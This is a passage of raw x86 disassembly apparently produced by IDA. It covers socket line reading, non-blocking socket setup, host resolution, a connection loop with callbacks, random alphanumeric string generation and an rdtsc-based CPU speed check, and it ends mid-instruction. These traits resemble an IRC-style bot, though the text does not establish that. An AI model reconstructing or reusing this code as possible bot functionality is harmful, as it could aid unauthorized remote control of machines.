___:0041AC46j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41ACB6 mov edi, ebp loc_41AC6B: ; CODE XREF: ___:0041ACB4j cmp edi, ebx jz short loc_41ACB6 cmp [esp+18h], bl jz short loc_41ACB6 call sub_40196A test al, al jz short loc_41ACB6 mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AC48 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41ACA1 cmp al, 0Dh jz short loc_41ACA1 cmp al, bl jnz short loc_41ACA9 loc_41ACA1: ; CODE XREF: ___:0041AC97j ; ___:0041AC9Bj mov [esi+ebp-1], bl mov [esp+18h], bl loc_41ACA9: ; CODE XREF: ___:0041AC9Fj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC6B loc_41ACB6: ; CODE XREF: ___:0041AC67j ; ___:0041AC6Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD00: ; CODE XREF: ___:004021A3j push ecx push ebx push ebp push esi mov esi, ecx push edi mov [esp+10h], esi call sub_40196A test al, al jnz short loc_41AD1C pop edi pop esi pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD1C: ; CODE XREF: ___:0041AD12j mov al, [esi+80Bh] xor ebx, ebx cmp al, bl jnz short loc_41AD32 loc_41AD28: ; CODE XREF: ___:0041AD6Dj pop edi pop esi pop ebp xor al, al pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- loc_41AD32: ; CODE XREF: ___:0041AD26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AD9D mov edi, ebp loc_41AD4B: ; CODE XREF: ___:0041AD9Bj cmp edi, ebx jz short loc_41AD9D cmp [esp+18h], bl jz short loc_41AD9D call sub_40196A test al, al jz short loc_41AD9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_40196F test al, al jz short loc_41AD28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AD7D cmp al, bl jnz short loc_41AD90 loc_41AD7D: ; CODE XREF: ___:0041AD77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AD8A mov [esi+ebp-1], bl jmp short loc_41AD8C ; --------------------------------------------------------------------------- loc_41AD8A: ; CODE XREF: ___:0041AD82j mov [edi], bl loc_41AD8C: ; CODE XREF: ___:0041AD88j mov [esp+18h], bl loc_41AD90: ; CODE XREF: ___:0041AD7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AD4B loc_41AD9D: ; CODE XREF: ___:0041AD47j ; ___:0041AD4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ADE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41ADF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ADF2: ; CODE XREF: ___:0041ADEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE03: ; CODE XREF: ___:0041ADFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AE30 proc near ; CODE XREF: sub_4018A2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40196A test al, al jnz short loc_41AE42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE42: ; CODE XREF: sub_41AE30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AE53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AE53: ; CODE XREF: sub_41AE30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax call near ptr 71AC0B50h nop pop esi retn 8 sub_41AE30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE80: ; CODE XREF: ___:00401C53j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41AEBF cmp eax, 0FFFFFFFFh jz short loc_41AEB5 cmp [esi+80Bh], cl jz short loc_41AEB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEB5: ; CODE XREF: ___:0041AE9Ej ; ___:0041AEA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEBF: ; CODE XREF: ___:0041AE99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEF5: ; CODE XREF: ___:0041AEE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AF50: ; CODE XREF: ___:004016EFj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AF6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AF6D: ; CODE XREF: ___:0041AF61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AFA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AFA9: ; CODE XREF: ___:0041AF9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_438256 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AFF0: ; CODE XREF: ___:00401744j push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax nop call near ptr 77C47A90h xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_4018CAj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41B090 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 call near ptr 71AB4519h nop retn 4 ; --------------------------------------------------------------------------- loc_41B090: ; CODE XREF: sub_41B060+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 call near ptr 71AB4519h nop retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B0E0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C49 mov dword ptr [esi], offset off_43F0C0 mov eax, esi pop esi retn sub_41B0E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B110 proc near ; CODE XREF: ___:00401924j sub_401E92j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40187A test [esp+4+arg_0], 1 jz short loc_41B128 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B128: ; CODE XREF: sub_41B110+Dj mov eax, esi pop esi retn 4 sub_41B110 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B140 proc near ; CODE XREF: sub_40187Aj mov dword ptr [ecx], offset off_43F0C0 add ecx, 4 jmp sub_401FE6 sub_41B140 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B160 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 push esi push edi call sub_40196A test al, al jnz short loc_41B172 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B172: ; CODE XREF: sub_41B160+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B1C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B197 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B197: ; CODE XREF: sub_41B160+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B1AC loc_41B1A1: ; CODE XREF: sub_41B160+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B1A1 loc_41B1AC: ; CODE XREF: sub_41B160+3Fj call sub_401F0A dec esi push esi push 0 call sub_4021C6 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B1C5: ; CODE XREF: sub_41B160+20j pop edi pop esi retn 4 sub_41B160 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B1F0: ; CODE XREF: ___:004020B3j push 0FFFFFFFFh push offset loc_43C007 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40196A test al, al jnz short loc_41B22F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401870 jmp loc_41B3DB ; --------------------------------------------------------------------------- loc_41B22F: ; CODE XREF: ___:0041B218j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401870 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017EE test eax, eax push offset byte_448F40 jnz short loc_41B26C mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B26C: ; CODE XREF: ___:0041B256j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_448F40 jnz short loc_41B292 mov esi, [esp+58h] mov ecx, esi call sub_401870 mov [esp+0Ch], edi jmp loc_41B3CE ; --------------------------------------------------------------------------- loc_41B292: ; CODE XREF: ___:0041B27Cj lea ecx, [esp+18h] call sub_401870 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017EE push eax call sub_4382C2 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B2D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov [esp+0Ch], edi jmp loc_41B3C0 ; --------------------------------------------------------------------------- loc_41B2D6: ; CODE XREF: ___:0041B2BBj mov edi, [esp+10h] mov esi, offset dword_4447F8 mov ecx, [edi] mov eax, [ecx+4] loc_41B2E4: ; CODE XREF: ___:0041B302j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B308 cmp cl, bl jz short loc_41B304 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B308 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B2E4 loc_41B304: ; CODE XREF: ___:0041B2EEj xor eax, eax jmp short loc_41B30D ; --------------------------------------------------------------------------- loc_41B308: ; CODE XREF: ___:0041B2EAj ; ___:0041B2F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B30D: ; CODE XREF: ___:0041B306j cmp eax, ebx jz short loc_41B37B push ebp loc_41B312: ; CODE XREF: ___:0041B365j ; ___:0041B369j call near ptr 27E0BCDh nop and eax, 0Fh cmp al, 8 jnz short loc_41B326 cmp word ptr [edi+8], 0Fh jz short loc_41B36B loc_41B326: ; CODE XREF: ___:0041B31Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B332 mov edi, ebp loc_41B332: ; CODE XREF: ___:0041B32Ej mov eax, [edi+4] mov esi, offset dword_4447F8 loc_41B33A: ; CODE XREF: ___:0041B358j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B35E cmp cl, bl jz short loc_41B35A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B35E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B33A loc_41B35A: ; CODE XREF: ___:0041B344j xor eax, eax jmp short loc_41B363 ; --------------------------------------------------------------------------- loc_41B35E: ; CODE XREF: ___:0041B340j ; ___:0041B34Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B363: ; CODE XREF: ___:0041B35Cj cmp eax, ebx jnz short loc_41B312 mov edi, ebp jmp short loc_41B312 ; --------------------------------------------------------------------------- loc_41B36B: ; CODE XREF: ___:0041B324j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015E1 pop ebp jmp short loc_41B388 ; --------------------------------------------------------------------------- loc_41B37B: ; CODE XREF: ___:0041B30Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015E1 loc_41B388: ; CODE XREF: ___:0041B379j push offset byte_448F40 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B3A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015E1 loc_41B3A8: ; CODE XREF: ___:0041B398j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014D3 mov dword ptr [esp+0Ch], 1 loc_41B3C0: ; CODE XREF: ___:0041B2D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B3CE: ; CODE XREF: ___:0041B267j ; ___:0041B28Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B3DB: ; CODE XREF: ___:0041B22Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B490: ; CODE XREF: ___:00402153j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov dword ptr [esi], offset off_43F0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4D0 proc near ; CODE XREF: sub_401406j ___:00402036j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE0 test [esp+4+arg_0], 1 jz short loc_41B4E8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B4E8: ; CODE XREF: sub_41B4D0+Dj mov eax, esi pop esi retn 4 sub_41B4D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B500 proc near ; CODE XREF: sub_401BE0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B500 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FE6 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B500 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B570: ; CODE XREF: ___:00401D52j push esi mov esi, ecx call sub_401E88 push 0 lea ecx, [esi+15h] call sub_401C49 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43F0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B5B0 proc near ; CODE XREF: sub_401686j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B6C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B6C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401492 mov ebp, dword_5118D8 test al, al jnz short loc_41B613 loc_41B5E9: ; CODE XREF: sub_41B5B0+61j mov al, [edi+10h] test al, al jz loc_41B6AF mov al, byte_4E8E54 test al, al jz short loc_41B613 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401492 test al, al jz short loc_41B5E9 loc_41B613: ; CODE XREF: sub_41B5B0+37j ; sub_41B5B0+4Bj mov al, [edi+10h] test al, al jz loc_41B6AF loc_41B61E: ; CODE XREF: sub_41B5B0+F9j mov al, byte_4E8E54 test al, al jz loc_41B6AF test esi, esi jnz short loc_41B64E push 80Eh call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B64A push esi mov ecx, eax call sub_401C49 jmp short loc_41B64C ; --------------------------------------------------------------------------- loc_41B64A: ; CODE XREF: sub_41B5B0+8Ej xor eax, eax loc_41B64C: ; CODE XREF: sub_41B5B0+98j mov esi, eax loc_41B64E: ; CODE XREF: sub_41B5B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B95 test al, al jnz short loc_41B667 push 7D0h call ebp jmp short loc_41B6A4 ; --------------------------------------------------------------------------- loc_41B667: ; CODE XREF: sub_41B5B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_4018A2 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B6A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B6A4: ; CODE XREF: sub_41B5B0+B5j ; sub_41B5B0+E8j mov al, [edi+10h] test al, al jnz loc_41B61E loc_41B6AF: ; CODE XREF: sub_41B5B0+3Ej ; sub_41B5B0+68j ... mov ecx, ebx call sub_4014E7 pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B6C0: ; CODE XREF: sub_41B5B0+Bj ; sub_41B5B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B5B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B720: ; CODE XREF: ___:00401C35j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B795 mov esi, ebp loc_41B73F: ; CODE XREF: ___:0041B793j cmp esi, ebx jz short loc_41B795 cmp [esp+18h], bl jz short loc_41B795 mov ecx, [esp+14h] push ebx push 1 push esi push ecx nop call near ptr 71AB615Ah cmp eax, ebx jz short loc_41B7A4 cmp eax, 0FFFFFFFFh jz short loc_41B7A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B79D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B780 cmp al, 0Dh jz short loc_41B780 cmp al, bl jnz short loc_41B788 loc_41B780: ; CODE XREF: ___:0041B776j ; ___:0041B77Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B788: ; CODE XREF: ___:0041B77Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B73F loc_41B795: ; CODE XREF: ___:0041B73Bj ; ___:0041B741j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B79D: ; CODE XREF: ___:0041B76Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B7A4: ; CODE XREF: ___:0041B75Aj ; ___:0041B75Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B7E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B84A mov edi, ebp loc_41B7FF: ; CODE XREF: sub_41B7E0+68j cmp edi, ebx jz short loc_41B84A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B84A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx call near ptr 71AB615Ah nop test eax, eax jz short loc_41B859 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B82A cmp al, bl jnz short loc_41B83D loc_41B82A: ; CODE XREF: sub_41B7E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B837 mov [esi+ebp-1], bl jmp short loc_41B839 ; --------------------------------------------------------------------------- loc_41B837: ; CODE XREF: sub_41B7E0+4Fj mov [edi], bl loc_41B839: ; CODE XREF: sub_41B7E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B83D: ; CODE XREF: sub_41B7E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B7FF loc_41B84A: ; CODE XREF: sub_41B7E0+1Bj ; sub_41B7E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B859: ; CODE XREF: sub_41B7E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B7E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B880: ; CODE XREF: ___:00401AF0j push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B8DB loc_41B8A6: ; CODE XREF: ___:0041B8D9j push 3 push 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B8C7 dec eax jz short loc_41B8C1 dec eax jnz short loc_41B8D6 push 7Ah push 61h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C1: ; CODE XREF: ___:0041B8B6j push 5Ah push 41h jmp short loc_41B8CB ; --------------------------------------------------------------------------- loc_41B8C7: ; CODE XREF: ___:0041B8B3j push 39h push 30h loc_41B8CB: ; CODE XREF: ___:0041B8BFj ; ___:0041B8C5j call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B8D6: ; CODE XREF: ___:0041B8B9j inc esi cmp esi, ebp jl short loc_41B8A6 loc_41B8DB: ; CODE XREF: ___:0041B8A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B900 proc near ; CODE XREF: sub_401424j rdtsc retn sub_41B900 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B920 proc near ; CODE XREF: sub_4017FDj var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_5118D8 push ebp push esi push edi xor ebp, ebp loc_41B92F: ; CODE XREF: sub_41B920+43j ; sub_41B920+4Dj call sub_401424 push 3E8h mov esi, eax mov edi, edx call ebx call sub_401424 sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_437C60 push ebp push 0Ah push edx push eax call sub_437C60 cmp edx, ebp mov esi, eax ja short loc_41B92F jb short loc_41B96F cmp esi, 0F4240h ja short loc_41B92F loc_41B96F: ; CODE XREF: sub_41B920+45j push ebp push 64h push edx push esi call sub_437BE0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B9F9 jb short loc_41B98F cmp ecx, 50h jnb short loc_41B998 loc_41B98F: ; CODE XREF: sub_41B920+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B998: ; CODE XREF: sub_41B920+6Dj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9A3 cmp ecx, 47h jnb short loc_41B9AC loc_41B9A3: ; CODE XREF: sub_41B920+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B9AC: ; CODE XREF: sub_41B920+81j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9B7 cmp ecx, 37h jnb short loc_41B9C0 loc_41B9B7: ; CODE XREF: sub_41B920+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B9C0: ; CODE XREF: sub_41B920+95j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9CB cmp ecx, 26h jnb short loc_41B9D4 loc_41B9CB: ; CODE XREF: sub_41B920+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B9D4: ; CODE XREF: sub_41B920+A9j cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9DF cmp ecx, 1Eh jnb short loc_41B9E8 loc_41B9DF: ; CODE XREF: sub_41B920+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B9E8: ; CODE XREF: sub_41B920+BDj cmp edx, ebp ja short loc_41B9F9 jb short loc_41B9F3 cmp ecx, 0Ah jnb short loc_41B9F9 loc_41B9F3: ; CODE XREF: sub_41B920+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B9F9: ; CODE XREF: sub_41B920+66j ; sub_41B920+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BA50 proc near ; CODE XREF: sub_402040j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41BA50 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_449739 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BBAF push ebp lea ecx, [esp+50h+var_3C] call sub_40142E push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C71 mov ebp, eax call sub_401F0A lea ecx, [esp+50h+var_3C] call sub_4013E3 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp nop call near ptr 2801206h test eax, eax jnz short loc_41BAE6 mov edi, offset byte_448F40 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41BAE6: ; CODE XREF: sub_41BA50+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41BAEF: ; CODE XREF: sub_41BA50+A9j cmp ecx, eax jnz short loc_41BAF5 mov bl, 1 loc_41BAF5: ; CODE XREF: sub_41BA50+A1j inc eax cmp eax, 5Bh jl short loc_41BAEF mov eax, 61h loc_41BB00: ; CODE XREF: sub_41BA50+BAj cmp ecx, eax jnz short loc_41BB06 mov bl, 1 loc_41BB06: ; CODE XREF: sub_41BA50+B2j inc eax cmp eax, 7Bh jl short loc_41BB00 test bl, bl jnz short loc_41BB32 mov edi, offset byte_448F40 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BB32: ; CODE XREF: sub_41BA50+BEj mov esi, dword_511AC8 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, 